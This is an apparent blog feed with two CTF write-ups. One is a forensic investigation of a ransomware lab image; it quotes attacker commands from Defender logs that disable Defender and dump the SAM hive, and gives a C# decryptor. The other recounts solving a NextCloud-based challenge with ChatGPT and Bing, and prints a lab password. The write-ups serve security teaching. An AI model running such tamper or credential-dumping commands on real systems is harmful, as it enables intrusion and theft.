<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710527686284/9d7b9cde-fcf1-42f7-a70e-b8525c037447.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-investigation">Investigation</h1>
<p>Before opening the file I'm marking the files as readonly and noting down its hash. File system contained in AD1 image can be browsed with a <a target="_blank" href="https://www.exterro.com/digital-forensics-software/ftk-imager">FTK Imager</a>.</p>
<details><summary>Extension: *.ad1</summary><div data-type="detailsContent">AD1 (Access Data 1) is a disk image file used to hold file-level acquisitions. This format is exclusively used in the Forensic Toolkit by Accessdata.</div></details>

<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710528889702/6adc1238-9069-46bc-a1b2-66dc68c907d5.png" alt class="image--center mx-auto" /></p>
<p>From the challenge description we know that:</p>
<ul>
<li><p>owner of the files was struck with a ransomware rendering the files unusable,</p>
</li>
<li><p>important files are located under \Documents\Work; because this is Windows system I assume it's <code>%USERPROFILE%\Documents\Work</code></p>
</li>
<li><p>objective: recover file</p>
</li>
</ul>
<h2 id="heading-retrieving-encrypted-files">Retrieving encrypted files</h2>
<p>Content of the important directory</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710529603240/d0b23b11-ec88-4948-8b52-ea050598bf87.png" alt class="image--center mx-auto" /></p>
<p>I'm inspecting the <code>ULTIMATIM.hta</code> file using the FTK Viewer preview panel. It looks like a ransomware note.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710529816756/6c0ab892-ed3a-4d0d-97e4-b15c87e0effb.png" alt class="image--center mx-auto" /></p>
<p>The only thing that is worth noting down is the Faction ID that could be used later.</p>
<pre><code class="lang-plaintext">Faction ID = 5K7X7E6X7V2D6F
</code></pre>
<p>I extract the <code>Applicants_info.xlsx.korp</code> file.</p>
<pre><code class="lang-plaintext">Applicants_info.xlsx.korp (read-only)
316954ea99040a2e6b9aef47d230063c1f03e4515e1552f91304dd0769d8385e
</code></pre>
<blockquote>
<p>In the meantime I do explore other files in the directory, but these are not relevant for us right now, so I am not elaborating on this one. I did also check hashes for other ransomware notes to make sure I did not falsly assume that all are the same - but they are the same.</p>
</blockquote>
<p>Because the hex preview in the FTK Viewer really looked like some mangled bytes, I have no hopes that <code>strings</code> won't find anything of value, and I am not mistaken.</p>
<p>Right now I don't have tools to restore the file.</p>
<h2 id="heading-malware-hunting">Malware hunting</h2>
<p>Let's backtrack a bit. We are looking at the end of the process and we have to look for the evidences of previous steps that most certainly had occurence. So what are these steps? These vary from the source to source, but let's take the core ones:</p>
<ol>
<li><p>Infection.</p>
</li>
<li><p>Execution - data exfiltration, data encryption</p>
</li>
<li><p>Spreading.</p>
</li>
<li><p>Persistence.</p>
</li>
<li><p>Clean up.</p>
</li>
</ol>
<p>So at this point we are looking for any traces of</p>
<ul>
<li><p>unknown files (in <code>Downloads</code>, <code>Desktop</code>, <code>c:\temp</code>, etc), that includes especially executable files (DLLs and EXEs)</p>
</li>
<li><p>suspicious connections (HTTP over port 80, <code>nc</code> uses)</p>
</li>
<li><p>any PowerShell executions (regular users rarely if ever use PowerShell; system rarely)</p>
</li>
<li><p>anything really that outstands</p>
</li>
</ul>
<h3 id="heading-reverse-shell">Reverse shell</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710533728550/aba07833-871d-4182-a02c-2ffa1ab37dcc.png" alt class="image--center mx-auto" /></p>
<p>This one is a suspicious file and should not be there - without doubt. Unfortunately, it is of no use in this scenario.</p>
<blockquote>
<p>ATS_setup.. <a target="_blank" href="https://youtu.be/RWuxRCrt0gs?t=26">I wonder what could that be</a>..</p>
</blockquote>
<h3 id="heading-windows-timeline">Windows Timeline</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710534527139/4dca4829-bd7a-4284-946e-79313cd2fba0.png" alt class="image--center mx-auto" /></p>
<p>Using famous Eric Zimmerman's <a target="_blank" href="https://ericzimmerman.github.io/#!index.md">Windows 10 Timeline database parser</a> allowed me to browse through the <code>ActivitiesCache.db</code> - nothing paticulary interesting (<code>7z2107-x64.exe</code>, <code>ftk imager.exe</code>, <code>treesizefree.exe</code>).</p>
<h3 id="heading-windows-defender">Windows Defender</h3>
<p>Finally, I started analyzing the Windows Defender logs (<code>C:\ProgramData\Microsoft\Windows Defender\Support\</code>). Here are the findings:</p>
<ul>
<li><p>(<code>HackTool:Win32/Mimikatz!pz</code>) <code>C:\Users\tommyxiaomi\Documents\mimikatz.exe</code></p>
</li>
<li><p>(<code>Trojan:Win32/CryptInjecp</code>) <code>C:\Users\tommyxiaomi\Documents\fscan64.exe</code></p>
</li>
<li><p>(<code>Trojan:Win32/Wacatac.B!mp</code>) <code>C:\Users\tommyxiaomi\Documents\intel.exe</code></p>
</li>
<li><p>(<code>Trojan:Win32/MpTamperDisableFeatureWd.p</code>) <code>C:\Windows\System32\Dism.exe /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet</code></p>
</li>
<li><p>(<code>Trojan:Win32/MpTamperDisableFeatureWd.p</code>)</p>
</li>
<li><p>(<code>VirTool:Win32/DefenderTamperingRestore</code>) <code>regkeyvalue hklm\software\microsoft\windows defender\spynet\DisableBlockAtFirstSeen</code></p>
</li>
<li><p>(<code>HackTool:Win32/LaZagne</code>) <code>C:\Users\tommyxiaomi\Documents\browser-pw-decrypt.exe</code></p>
</li>
<li><p>(SAM dumping) <code>C:\Windows\System32\cmd.exe(cmd.exe /c reg.exe save hklm\sam C:\Users\TOMMYX~1\AppData\Local\Temp\crkrbigyfjqk)</code></p>
</li>
</ul>
<details><summary>Security Account Manager</summary><div data-type="detailsContent">SAM (Security Account Manager) is a database file that stores users' passwords. The user passwords are stored in a hashed format in a registry hive either as an LM hash or as an NTLM hash. This file can be found in <code>%SystemRoot%/system32/config/SAM</code> and is mounted on <code>HKLM/SAM</code> and <code>SYSTEM</code> privileges are required to view it.</div></details>

<p>Almost all of them are self explainatory - apart from <code>intel.exe</code>. Could it be the actual crypter? Unfortunately all of the above executables can no longer be found at their destination. So can we somehow obtain the files? We don't have <code>*.pcap</code> file to grab the binary stream, we don't have access to any memory dumps for more binary dumping from RAM.</p>
<p>But there is another place we can look for this file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710536984118/9d978e67-b66c-4be7-92ca-e4d730c0ea3b.png" alt="Bingo" class="image--center mx-auto" /></p>
<p>Bingo.</p>
<h3 id="heading-windows-defender-quarantine">Windows Defender Quarantine</h3>
<p>We can't access the binaries becasue of how they are stored in the quarantine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710537153078/ae0e5c40-8368-456c-9201-06b809cc1885.png" alt class="image--center mx-auto" /></p>
<p>So for that I'm using a <a target="_blank" href="https://github.com/knez/defender-dump">Python script</a><code>defender-dump.py</code> after I've mounted the AD1 image with the FTK Imager.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710537327881/f08f133c-8b6b-45bf-9fd2-37768f728061.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>When perfoming this operation on Windows - under no circumstances turn the Windows Defender off. Use the directory exclusion because they will keep being qurantined :)</p>
</blockquote>
<h2 id="heading-crypter-intelexe">Crypter (<code>intel.exe</code>)</h2>
<p>Let's analyze what it is doing (<code>dotPeek</code>).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710537509221/149f850a-2302-4b6f-a437-2cd117e8c2fc.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p>CTF Safeguard (do not run on the CTF participant system if mistakendly run by one).</p>
</li>
<li><p>Generate user/faction ID (it is visible on the <code>ULTIMATE.hta</code>).</p>
</li>
<li><p>Create CoreEncrypter object.</p>
</li>
<li><p>Iterate recursively over all directory entries and run the encryption on files, unless they don't qualify for encryption.</p>
</li>
</ol>
<p>At this point we are ready to write decryptor. "Missing" part is a Faction ID we have obtained from the ransom note.</p>
<pre><code class="lang-csharp"><span class="hljs-keyword">using</span> System.Text;
<span class="hljs-keyword">using</span> System.Security.Cryptography;

<span class="hljs-keyword">const</span> <span class="hljs-keyword">string</span> salt = <span class="hljs-string">"0f5264038205edfb1ac05fbb0e8c5e94"</span>;
<span class="hljs-keyword">const</span> <span class="hljs-keyword">string</span> UID = <span class="hljs-string">"5K7X7E6X7V2D6F"</span>;

<span class="hljs-keyword">var</span> filePath = <span class="hljs-string">"Applicants_info.xlsx.korp"</span>;
<span class="hljs-keyword">var</span> password = GetHashCode(UID, salt);

DecryptFile(filePath, password);

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">DecryptFile</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> encodedFilePath, <span class="hljs-keyword">string</span> password</span>)</span>
{
    <span class="hljs-keyword">if</span> (!encodedFilePath.EndsWith(<span class="hljs-string">".korp"</span>))
    {
        <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> ArgumentException(encodedFilePath);
    }

    <span class="hljs-keyword">byte</span>[] buffer = <span class="hljs-keyword">new</span> <span class="hljs-keyword">byte</span>[<span class="hljs-keyword">ushort</span>.MaxValue];
    <span class="hljs-keyword">var</span> rfc2898DeriveBytes = <span class="hljs-keyword">new</span> Rfc2898DeriveBytes(password, <span class="hljs-keyword">new</span> <span class="hljs-keyword">byte</span>[<span class="hljs-number">8</span>] { <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">1</span>, <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span> }, <span class="hljs-number">4953</span>);
    <span class="hljs-keyword">var</span> rijndaelManaged = <span class="hljs-keyword">new</span> RijndaelManaged();
    rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / <span class="hljs-number">8</span>);
    rijndaelManaged.Mode = CipherMode.CBC;
    rijndaelManaged.Padding = PaddingMode.ISO10126;
    rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / <span class="hljs-number">8</span>);

    <span class="hljs-keyword">using</span> (<span class="hljs-keyword">var</span> encodedFileStream = <span class="hljs-keyword">new</span> FileStream(encodedFilePath, FileMode.Open, FileAccess.Read))
    {
        <span class="hljs-keyword">var</span> decryptedFilePath = encodedFilePath.Replace(<span class="hljs-string">".korp"</span>, <span class="hljs-keyword">string</span>.Empty);
        <span class="hljs-keyword">using</span> (<span class="hljs-keyword">var</span> decryptedFileStream = <span class="hljs-keyword">new</span> FileStream(decryptedFilePath, FileMode.Create, FileAccess.Write))
        <span class="hljs-keyword">using</span> (<span class="hljs-keyword">var</span> cryptoStream = <span class="hljs-keyword">new</span> CryptoStream(decryptedFileStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write))
        {
            <span class="hljs-keyword">int</span> count;
            <span class="hljs-keyword">do</span>
            {
                count = encodedFileStream.Read(buffer, <span class="hljs-number">0</span>, buffer.Length);
                <span class="hljs-keyword">if</span> (count != <span class="hljs-number">0</span>)
                    cryptoStream.Write(buffer, <span class="hljs-number">0</span>, count);
            }
            <span class="hljs-keyword">while</span> (count != <span class="hljs-number">0</span>);
        }
    }
}

<span class="hljs-function"><span class="hljs-keyword">string</span> <span class="hljs-title">GetHashCode</span>(<span class="hljs-params"><span class="hljs-keyword">string</span> pass, <span class="hljs-keyword">string</span> salt</span>)</span>
{
    <span class="hljs-keyword">var</span> password = pass + salt;
    <span class="hljs-keyword">using</span> (<span class="hljs-keyword">var</span> cryptoServiceProvider = <span class="hljs-keyword">new</span> SHA512CryptoServiceProvider())
    {
        <span class="hljs-keyword">byte</span>[] bytes = Encoding.UTF8.GetBytes(password);
        <span class="hljs-keyword">return</span> Convert.ToBase64String(cryptoServiceProvider.ComputeHash(bytes));
    }
}
</code></pre>
<p>Running the code against the encrypted XLSX file yields restored file. Because I don't want to deal with the potential malware in the XLSX file - I unzip the file and uses Visual Studio Code search functionality to grab the flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1710538511891/c33662a1-9f84-4713-8886-8602a1385d69.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-additional-reading">Additional reading</h1>
<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<ul>
<li><p><a target="_blank" href="https://dfir.science/2021/09/What-is-an-AD1.html">What is an AD1?</a></p>
</li>
<li><p><a target="_blank" href="https://reversingfun.com/posts/how-to-extract-quarantine-files-from-windows-defender/">How to Extract Quarantine Files from Windows Defender</a></p>
</li>
<li><p>⭐ <a target="_blank" href="https://github.com/hackthebox/cyber-apocalypse-2024/tree/main/forensics/%5BHard%5D%20Confinement">Official HTB write-up</a></p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Solving a CTF using OpenAI models]]></title><description><![CDATA[The Plan

Challenge URL: https://tryhackme.com/jr/midsummer

There is something I wanted to try since I've watched videos of people creating games without any programming knowledge whatsoever. After I have created a honeypot using the ChatGPT v3, I'm...]]></description><link>https://blog.cyberethical.me/solving-securing-ctf-with-open-ai</link><guid isPermaLink="true">https://blog.cyberethical.me/solving-securing-ctf-with-open-ai</guid><category><![CDATA[openai]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Kamil Gierach-Pacanek]]></dc:creator><pubDate>Mon, 26 Jun 2023 08:20:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1687692591336/c768077b-5cbb-4817-9531-4b6e7bc84141.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="hn-embed-widget" id="follow-cta"></div><p> </p>
<h1 id="heading-the-plan">The Plan</h1>
<blockquote>
<p>Challenge URL: <a target="_blank" href="https://tryhackme.com/jr/midsummer">https://tryhackme.com/jr/midsummer</a></p>
</blockquote>
<p>There is something I wanted to try since I've watched videos of people creating games without any programming knowledge whatsoever. After <a target="_blank" href="https://blog.cyberethical.me/ive-asked-chatgpt-to-write-a-honeypot">I have created a honeypot using the ChatGPT v3</a>, I'm ready to solve the CTF using AI only: ChatGPT and Bing AI (mostly strict mode) - latter because it has internet access.</p>
<p>For the readability reason, I'm not going to paste whole conversations, but the important bits.</p>
<h1 id="heading-recon">Recon</h1>
<p>For me, the competition starts before launching the first challenge. In the introductory part, I can read that</p>
<blockquote>
<p>In this room, every task will allow you to gain access to a new Midsummer Corp employee. On every account you can also find a piece of the final puzzle <code>fernflower_flag[1-6].png</code>, which you will need to complete the last quest.</p>
</blockquote>
<p>It indicates that the final flag or answer (the <a target="_blank" href="https://www.securityforum.org/solutions-and-insights/protecting-the-crown-jewels/">Crown Jewels</a>) is distributed in six parts and placed somewhere on the file systems (presumably) of six accounts. The number of challenges (Puck, Leshy, Baba Yaga, Boruta, Twardowski and Popiel) is also six - so that is a match - one account, one challenge - one part of the final flag.</p>
<p>It is also worth noting that two years ago <a target="_blank" href="https://blog.cyberethical.me/securing-ctf-rozdzka">I have participated</a> in the CTF organized by the <a target="_blank" href="https://www.securing.pl/">Securing</a> and my write-up won that year's competition. If you haven't read it yet, I strongly recommend it because it was my first experience of Securing team potential - just see what platform did they use to host the event 😉.</p>
<h2 id="heading-the-setting">The Setting</h2>
<blockquote>
<p><em>Legend has it that the fern flower appears on the eve of the summer solstice at the stroke of midnight. It can only be found deep in the forest, where it grows in a secret and hidden spot known only to the bravest and most skilled of seekers. Those who are lucky enough to find it and pick it up at the right moment are granted great powers and blessings and may even have their wishes come true.</em></p>
</blockquote>
<p>Securing chosen <strong>Kupala Night</strong> as a topic of this CTF.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686163668606/1bc0aed8-a213-4fd8-b558-d8b95d1101f1.png" alt class="image--center mx-auto" /></p>
<p>I like that because the elusive fern flower is a great analogy to the flag that participants are looking for in the competition.</p>
<blockquote>
<p>Also, what ChatGPT didn't mention - fern flower does not exist. Ferns do not bloom.</p>
</blockquote>
<p>If you are not familiar with that legend of blooming fern, here are some of my recommendations to familiarize with:</p>
<ul>
<li><p><a target="_blank" href="https://www.last.fm/user/Asentinn/library/artists?from=2023-05-08&amp;to=2023-06-07">absolutely amazing</a> Polish folk rock band - <a target="_blank" href="https://open.spotify.com/artist/3EYuaOf6w8uTG7eM8vpMLH?si=ZTG_7ugcT96i41seTHy8_A"><em>Żywiołak</em></a> (<em>Elemental</em>); their songs focus on the Kupala Night and Slavic mythology</p>
</li>
<li><p>"Kwiat Paproci" ("Fern Flower") <a target="_blank" href="https://lubimyczytac.pl/cykl/9374/kwiat-paproci">book series</a> by <a target="_blank" href="https://lubimyczytac.pl/autor/19159/katarzyna-berenika-miszczuk">Katarzyna Berenika Miszczuk</a></p>
</li>
</ul>
<p>Anyway, let's look at the challenges names in the context of that all - are those names chosen arbitrary or do they have some meaning that could help to solve tasks?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686169570276/c94273a1-0c1d-4bfb-b6f2-5c318f3512f7.png" alt class="image--center mx-auto" /></p>
<p>And maybe bot can drop us some ideas of what the challenges may be about?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686169940018/b1b157b6-4b6a-47d4-a3e9-d5b7a04d46e1.png" alt class="image--center mx-auto" /></p>
<p>Interesting - but here is crucial to remember one thing - when OpenAI model doesn't know the answer, it comes up with some (<a target="_blank" href="https://community.openai.com/t/gpt-4-keeps-lying-instead-of-saying-i-dont-know/218549/2">here</a>, <a target="_blank" href="https://community.openai.com/t/qa-fine-tuned-chatbot-not-answering-from-the-trained-data-but-nonfactual/21999/21?page=2">here</a> and <a target="_blank" href="https://ai.stackexchange.com/a/38272">here</a>). This is just how these kinds of model works. For example, I've asked a Bing AI to find some information about one of the challenges suggested by ChatGPT - and it looks like the bot just made that one up.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686169834011/cece0cf7-72d0-4823-973b-2ed2ba3aea42.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-the-platform">The Platform</h2>
<blockquote>
<p>The application is based on the NextCloud server (<a target="_blank" href="https://github.com/nextcloud/server">GitHub - nextcloud/server</a>). The software and the configuration have been intentionally made vulnerable.</p>
</blockquote>
<p>According to the GitHub it is a PHP server with JavaScript frontend for the data storage/management.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686170887074/ab519bd5-01d9-4047-abeb-6f35ac036027.png" alt class="image--center mx-auto" /></p>
<p>Tag cloud:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686170871783/a9af6b63-3720-4a4f-b2fb-719c77cb1281.png" alt class="image--center mx-auto" /></p>
<p>Interestingly, there is a <code>hacktoberfest</code> tag there. I've dug deeper and found out Nextcloud is participating in <a target="_blank" href="https://hacktoberfest.com/">Hacktoberfests</a> in the years 2016 and 2017 (<a target="_blank" href="https://nextcloud.com/blog/nextcloud-android-client-1-4-0-has-been-released/">post from 2016</a>). So just for future reference, I'm adding a <a target="_blank" href="https://github.com/nextcloud/android/pulls?q=is%3Apr+is%3Aclosed+label%3Ahacktoberfest">pull requests list</a> applied during that event because of the following reasons:</p>
<ul>
<li><p>Securing team could be using an older version of Nextcloud Server,</p>
</li>
<li><p>Securing team could be introducing/reverting some pull requests to include vulnerabilities,</p>
</li>
<li><p>both</p>
</li>
</ul>
<p>Ok, let's start with the actual challenge.</p>
<h1 id="heading-midsummer-corp-sanity-check">Midsummer Corp (sanity check)</h1>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686206345293/50385eba-20c2-4e00-a50f-51879ad176f7.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>For the sake of consistency - most actions I'll be performing on the Kali Linux, partially becasue I couldn't connect <code>openvpn</code> on Windows.</p>
</blockquote>
<p>I'm connecting to the VPN <code>sudo openvpn thm-eu1.vpn</code> and test the connection using <code>curl -IL 10.10.21.207</code> to roughly see what headers are being exchanged. Some of them:</p>
<pre><code class="lang-plaintext">Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.1.18

X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'none';base-uri 'none';manifest-src 'self';script-src 'self';style-src 'self' 'unsafe-inline';img-src 'self' data: blob:;font-src 'self' data:;connect-src 'self';media-src 'self';frame-ancestors 'self';form-action 'self'
</code></pre>
<h4 id="heading-bing-ai-on-http-headers">Bing AI on HTTP Headers</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686206082394/55dade19-af9a-40b6-a5ad-0a02693be096.png" alt /></p>
<p>The sanity check question is to find the base URL of the application. When you look closely - on the footer there is some text (which often contains redirection to the landing page). This is how the page looks like when adding a following CSS rule.</p>
<pre><code class="lang-css">* {
  <span class="hljs-attribute">color</span>: white;
}
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686206558330/1d32d32e-3647-4692-aaf6-21a6cfd4e200.png" alt class="image--center mx-auto" /></p>
<p>So I hover on the <strong>Midsummer Corp</strong> link - it leads to <code>https://files.midsummer.corp.local/</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686206734698/28516042-d7c6-490a-8e72-8092b6ccdf40.png" alt class="image--center mx-auto" /></p>
<p>I'm adding that to the hosts and browsing the page again. Unfortunately, the page seems not to be served over HTTPS.</p>
<pre><code class="lang-plaintext"># THM
10.10.21.207 files.midsummer.corp.local
</code></pre>
<p><strong>From now on, I'll be using the Request Blocking feature of Firefox to not load the background image</strong> - the page looks much easier to browse and the size of the image is huge!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686207816934/2f182f95-c3b3-4b57-847e-2552b23a2ec5.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-source-code">Source Code</h2>
<p>To be honest - that's the longest <code>.htaccess</code> file I've ever seen - 132 lines.</p>
<pre><code class="lang-plaintext">$ wc -l .htaccess
132 .htaccess
</code></pre>
<p>I've then asked Bing AI to explain to me what some of the sections of that file are doing.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686208408743/627ed370-fa6b-4933-9876-eea6929865c1.png" alt class="image--center mx-auto" /></p>
<p>When comparing this file with the current version on the GitHub - there are additional lines under the <code>#### DO NOT CHANGE ANYTHING ABOVE THIS LINE ####</code> comment.</p>
<pre><code class="lang-plaintext">ErrorDocument 403 /index.php/error/403
ErrorDocument 404 /index.php/error/404
&lt;IfModule mod_rewrite.c&gt;
  Options -MultiViews
  RewriteRule ^core/js/oc.js$ index.php [PT,E=PATH_INFO:$1]
  RewriteRule ^core/preview.png$ index.php [PT,E=PATH_INFO:$1]
  RewriteCond %{REQUEST_FILENAME} !\.(css|js|svg|gif|png|html|ttf|woff2?|ico|jpg|jpeg|map|webm|mp4|mp3|ogg|wav|wasm|tflite)$
  RewriteCond %{REQUEST_FILENAME} !/core/ajax/update\.php
  RewriteCond %{REQUEST_FILENAME} !/core/img/(favicon\.ico|manifest\.json)$
  RewriteCond %{REQUEST_FILENAME} !/(cron|public|remote|status)\.php
  RewriteCond %{REQUEST_FILENAME} !/ocs/v(1|2)\.php
  RewriteCond %{REQUEST_FILENAME} !/robots\.txt
  RewriteCond %{REQUEST_FILENAME} !/(ocm-provider|ocs-provider|updater)/
  RewriteCond %{REQUEST_URI} !^/\.well-known/(acme-challenge|pki-validation)/.*
  RewriteCond %{REQUEST_FILENAME} !/richdocumentscode(_arm64)?/proxy.php$
  RewriteRule . index.php [PT,E=PATH_INFO:$1]
  RewriteBase /
  &lt;IfModule mod_env.c&gt;
    SetEnv front_controller_active true
    &lt;IfModule mod_dir.c&gt;
      DirectorySlash off
    &lt;/IfModule&gt;
  &lt;/IfModule&gt;
&lt;/IfModule&gt;
</code></pre>
<h3 id="heading-version-2600-statusphp">Version 26.0.0 (<code>/status.php</code>)</h3>
<p>Requesting <code>status.php</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686209668409/234b75e9-5f15-4755-be8f-3e8000b5378b.png" alt="status.php" class="image--center mx-auto" /></p>
<p>Ok so, unfortunately, it's not as outdated as I thought it would be - the current version at the time of writing this article is <code>26.0.2</code>. Couple of interesting commits <strong>missing</strong> in the <code>26.0.0</code></p>
<p>🔸 <a target="_blank" href="https://github.com/nextcloud/server/commit/da95d3389d1d25039f45a4a01099153fccd08117">sec(deps): Update guzzlehttp/psr7</a></p>
<p>Updates guzzlehttp/psr7 from version <code>2.4.3</code> to <code>2.4.5</code> - here is <a target="_blank" href="https://github.com/nextcloud/3rdparty/compare/0ec73636ee36558960a1df60828b645ef3d4a53c...a7f0f5d93a0d9a947b4d3676d6344824d8490eab">the diff</a>. Basically HTTP headers validation.</p>
<p>🔸 <a target="_blank" href="https://github.com/nextcloud/server/commit/da95d3389d1d25039f45a4a01099153fccd08117">fix(security): Mark recording_servers key appconfig as private as it contains a secret</a></p>
<p>Well, that could be worth checking because of some "secret".</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686211598580/b693dee1-a8c8-46a7-8f39-4a77ab61860a.png" alt class="image--center mx-auto" /></p>
<p>🔸 <a target="_blank" href="https://github.com/nextcloud/server/commit/40748731f130fd79d609bf80016fefe30f9b06c8">clear encrypted flag when moving away from encrypted storage</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686211748394/eff7a8d5-51cd-4d33-8196-0319d9e8a541.png" alt class="image--center mx-auto" /></p>
<p>🔸 <a target="_blank" href="https://github.com/nextcloud/server/commit/6b4644ba1a85f4ff36bdefb3fac99dfd32d70f9b">hide shared files located in group folder's trash bin</a></p>
<p>Maybe some data exfiltration from the shared files by looking in the group folder's trash bin?</p>
<p>🔸 <a target="_blank" href="https://github.com/nextcloud/server/commit/b7aad07df571c2a972ab589cfcd4ed10440b3e1c">fix(files_sharing): Allow file actions other than download for hide download shares</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686212156383/f8e724e3-14ab-4a31-a605-4414be8475d2.png" alt class="image--center mx-auto" /></p>
<p>Maybe the file download action is still available?</p>
<p>🔸 <a target="_blank" href="https://github.com/nextcloud/server/commit/e4b987142c9b1a562460ee1ed3cc75613a3d5a9e"><strong>fix(lostpassword): Also rate limit the setPassword endpoint</strong></a></p>
<p>Paired with <a target="_blank" href="https://github.com/nextcloud/server/commit/96204fe6e986785c9de2a4d3809d62709e576ffa">feat(security): Allow to opt-out of ratelimit protection, e.g. for testing on CI</a> by the same author. Adding some comments/attributes on <code>core/Controller/LostController-&gt;setPassword(..)</code> and response throttling - most certainly to prevent brute-forcing.</p>
<p>🔸 <a target="_blank" href="https://github.com/nextcloud/server/commit/bf564185d111960dc33b3665339f59086df7aac2">fix: Always create user directory when transferring files to new users</a></p>
<p>Another way to unauthorized read?</p>
<h3 id="heading-cronphp"><code>/cron.php</code></h3>
<p>Requesting <code>cron.php</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686213690574/043c046d-a969-494f-aea3-daa30e29639b.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-ocsv1php-ocsv2php"><code>/ocs/v1.php</code>, <code>/ocs/v2.php</code></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686213820921/23fc7eec-74d1-4687-9831-72392496e4a4.png" alt class="image--center mx-auto" /></p>
<p>Ok, I'm deciding to not chase the rabbit and start doing the challenges.</p>
<div class="hn-embed-widget" id="support-cta"></div><p> </p>
<h1 id="heading-puck-intern">Puck (intern)</h1>
<blockquote>
<p><em>Responsible for creating chaos and confusion to distract people from the company's true intentions</em></p>
</blockquote>
<p>It does sound mischievous.</p>
<p>From the task description, we know that the Puck's password is accessible for us, somewhere in the application - and that the brute-force attack is not required. To be honest, I'm surprised that I haven't stumbled upon the plaintext password so far, as it is often "hidden" in the page source, some page or known URL (like <code>robots.txt</code>).</p>
<p>So I'm going back to the page source of the "Direct log in". I see there is some quite informative JS code in the <code>head</code> tag</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686214731029/b1a5d473-3d49-4ae5-a880-f51de603f843.png" alt class="image--center mx-auto" /></p>
<p>I am pasting it in the VSCode, and I'm seeing something useful.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686214787187/8b511f2d-26f5-4952-9d1d-e244bd62c8ff.png" alt class="image--center mx-auto" /></p>
<p>And success - first credentials are <code>puck:sfLfSNYavTD4PL4Z</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686214954530/ce8d01ac-e814-48d6-8c89-0450bb4c65c4.png" alt class="image--center mx-auto" /></p>
<p>Getting the flag from <code>Fern_flower_ritual_shard1.txt</code>. I'm also downloading a part of the final flag (<code>fernflower_flag1.png</code>).</p>
<p>Now, I noticed that 1 file is hidden (information under the file list). So, I went to <em>Files settings</em> and enabled <em>Show hidden files</em>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686225530693/a8c9d5ce-a7cd-47fb-a219-2f968ab62d83.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p>On the sidenote, <code>research</code> folder contains <code>*.txt</code> files with fern AI-generated content (verified on three AI detectors) :). And some screens from social media</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686226549706/c9d6bf9e-fb64-4cf0-96e1-62f8c81b9835.png" alt class="image--center mx-auto" /></p>
<p>Profile: <a target="_blank" href="https://www.facebook.com/fernflowers17/">https://www.facebook.com/fernflowers17/</a>, original content:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686226876714/7e60b500-6eb5-4f9f-9ee6-6a9ce89f61ce.png" alt class="image--center mx-auto" /></p>
</blockquote>
